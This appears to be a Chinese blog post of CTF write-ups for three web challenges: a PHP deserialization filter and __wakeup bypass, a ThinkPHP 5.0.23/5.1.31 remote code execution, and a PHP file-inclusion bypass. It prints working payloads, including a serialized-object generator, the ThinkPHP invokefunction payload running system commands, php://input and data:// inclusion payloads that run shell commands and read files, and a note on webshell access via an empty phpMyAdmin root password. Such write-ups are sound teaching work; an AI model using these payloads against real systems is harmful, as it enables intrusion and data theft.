攻防世界之php_rce、Web_php_include

Web_php_unserialize

反序列化,反序列化漏洞還需再做幾個題
php魔法函數
php魔法函數
正則表達
源碼:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { //類被刪除或停止調用的時候調用
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { //反序列化的時候調用
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); //進行base64解密
    if (preg_match('/[oc]:\d+:/i', $var)) { //[oc]匹配o-c的字母,\d+匹配多個數字,/i不區分大小寫
    這句意在匹配我們傳入序列化的類
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

我們可以用GET方法傳入$var,進而
根據註釋分析得,拿到flag需要一下幾個條件:
1、我們需要繞過preg_match,進而能夠進入unserialize(),
2、但是進入發序列化首先是要執行__weakup,所以我們繞過__weapup,
3、進而進入__destruct()
滿足1:我們需要
在這裏插入圖片描述
改爲
在這裏插入圖片描述
滿足2:當成員屬性數目大於實際數目時可繞過wakeup方法
在這裏插入圖片描述
滿足3: 無需操作
對上述payload進行base64加密

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

上傳即可
附上從別人博客摘的代碼,忘記從哪摘得了,作者大佬看可提醒我刪去,狗頭保命

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
      //  echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $A = new Demo('fl4g.php');
    $C = serialize($A);
    echo $C;
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $C = str_replace('O:4', 'O:+4',$C);//繞過preg_match
    $C = str_replace(':1:', ':2:',$C);//繞過wakeup
    var_dump(base64_encode($C));
    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

php_rce

在這裏插入圖片描述
ThinkPHP 5.0.23/5.1.31 - Remote Code Execution
使用payload:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

在這裏插入圖片描述
但是,flag在哪?
find / -name “*flag”
在這裏插入圖片描述
本以爲路徑就是/flag/flag
但是,他這個是一個路徑重複兩次
看WP纔看出來
cat /flag即可

web_php_include

1、漏洞點:php strstr() 繞過,僞協議包含漏洞

這個提有很多利用方法。

方法一:

訪問頁面看到如下:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

strstr() 函數搜索字符串在另一字符串中是否存在,如果是,返回該字符串及剩餘部分,否則返回 FALSE。就是會去除php://,所以需要繞過
因爲strstr()函數對大小寫敏感,所以只需PHP://即可繞過
再者就是文件包含,這裏已經算是提示咱們用僞協議。看了一些資料之後。
發現
php://input,需要開啓allow_url_include。將post請求的數據當作php代碼執行。
所以,我們就運行shell了。
在這裏插入圖片描述
在這裏插入圖片描述

方法2

外部包含,我這我不是很理解,不明白hello傳進去就會被執行,回頭再分析分析
1.審計php代碼,while函數根據page參數來判斷php文件是否存在,如果存在此文件,則進行文件包含。
2.默認頁面爲http://127.0.0.1/index.php,設置爲page值,可確保while爲真
3.利用hello參數將執行內容顯示,flag如圖所示

http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?system(%22ls%22);?%3E
http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?show_source(%22fl4gisisish3r3.php%22);?%3E
方法3

更換僞協議 data://text/plain,這個大致含義是可以運行GET過去的數據流。

http://111.198.29.45:53463/?page=data://text/plain,%3C?php%20system(%27ls%27);?%3E
http://111.198.29.45:53463/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20base64_encode($a);?%3E
或者highlight_file(%27fl4gisisish3r3.php%27);
方法4

掃描後臺文件:
在這裏插入圖片描述
登錄phpadmin,用戶名root 密碼爲空
然後執行
在這裏插入圖片描述
之後菜刀鏈接即可

參考鏈接:
僞協議與文件包含
攻防世界Web_php_include
phpMyadmin提權那些事
談一談php://filter的妙用

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章